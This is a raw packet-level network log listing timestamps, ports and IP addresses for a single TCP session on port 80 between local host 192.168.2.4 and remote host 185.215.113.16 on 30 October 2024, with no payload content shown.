Oct 30, 2024 12:36:51.838711977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838711977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838725090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838737011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838743925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838777065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838803053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838814020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838824987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.838844061 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.838855982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839103937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839121103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839132071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839169025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839179039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839190006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839202881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839221954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839224100 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839232922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839235067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839243889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839261055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839262009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839272022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839282036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839289904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839323044 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839389086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839399099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839410067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839421034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839441061 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839452982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839550018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839565992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839576960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839587927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839598894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839600086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839611053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839620113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839627028 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839629889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839643002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839662075 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839704990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839776993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839787960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839822054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839848042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839859009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839869976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839880943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839886904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839914083 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.839977980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.839988947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840002060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840013027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840025902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840029955 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840034962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840054035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840068102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840076923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840130091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840141058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840151072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840169907 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840199947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840703011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840744019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840748072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840759039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840785027 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840801954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840809107 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840812922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840823889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840835094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840848923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840877056 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840924025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840934038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840944052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840955019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840965986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840974092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.840997934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.840997934 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841013908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841027021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841051102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841067076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841070890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841082096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841092110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841104984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841120005 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841146946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841182947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841193914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841203928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841216087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841224909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841233969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841254950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841257095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841268063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841269016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841279030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841289997 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841299057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841300964 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841327906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841341019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841371059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841381073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841391087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841407061 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841423988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841573000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841615915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841617107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841629028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841650963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841665030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841703892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841715097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841726065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841737032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841746092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841748953 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841777086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841792107 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841810942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841820955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841831923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841855049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841881037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841891050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841902018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841912031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841923952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841933966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.841941118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841968060 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841978073 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.841993093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842003107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842012882 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842025042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842045069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842072964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842186928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842252016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842263937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842276096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842288971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842294931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842307091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842327118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842396021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842407942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842417955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842430115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842442036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842443943 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842458963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842470884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842472076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842479944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842492104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842494965 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842509031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842519999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842530966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842531919 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842542887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842556000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842561960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842571974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842585087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842595100 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842628002 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842628956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842639923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842653036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842664957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842672110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842683077 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842703104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842736006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842746973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842787981 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842864037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842875957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842885971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842900038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842911005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842912912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842925072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842933893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.842964888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.842993021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843085051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843177080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843178034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843190908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843200922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843211889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843214989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843224049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843235016 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843235970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843261957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843270063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843291998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843302011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843317032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843331099 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843332052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843343019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843354940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843362093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843372107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843384027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843388081 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843393087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843403101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843411922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843415022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843425989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843431950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843439102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843458891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843491077 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843617916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843628883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843640089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843650103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843661070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843667030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843672037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843683958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843697071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843714952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843745947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843756914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843772888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843784094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843786955 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843795061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843806028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843810081 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843816042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843827963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843838930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843844891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843849897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843861103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843862057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843875885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843897104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843904018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843908072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843919039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843929052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843933105 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843940020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843951941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843960047 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.843964100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843972921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.843986988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844003916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844022989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844033957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844043970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844054937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844063997 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844067097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844078064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844089031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844090939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844098091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844115019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844124079 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844125986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844131947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844136000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844146967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844157934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.844166994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.844192982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908466101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908484936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908494949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908514977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908533096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908579111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908590078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908600092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908610106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908618927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908621073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908648014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908654928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908658028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908663034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908694029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908720016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908731937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908766985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908792973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908803940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908813953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908826113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908842087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908865929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908873081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908884048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.908915043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.908998966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909009933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909020901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909033060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909038067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.909065962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.909094095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.909105062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909127951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909145117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909152985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.909156084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909167051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.909172058 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.909189939 CET	49747	80	192.168.2.4	185.215.113.16
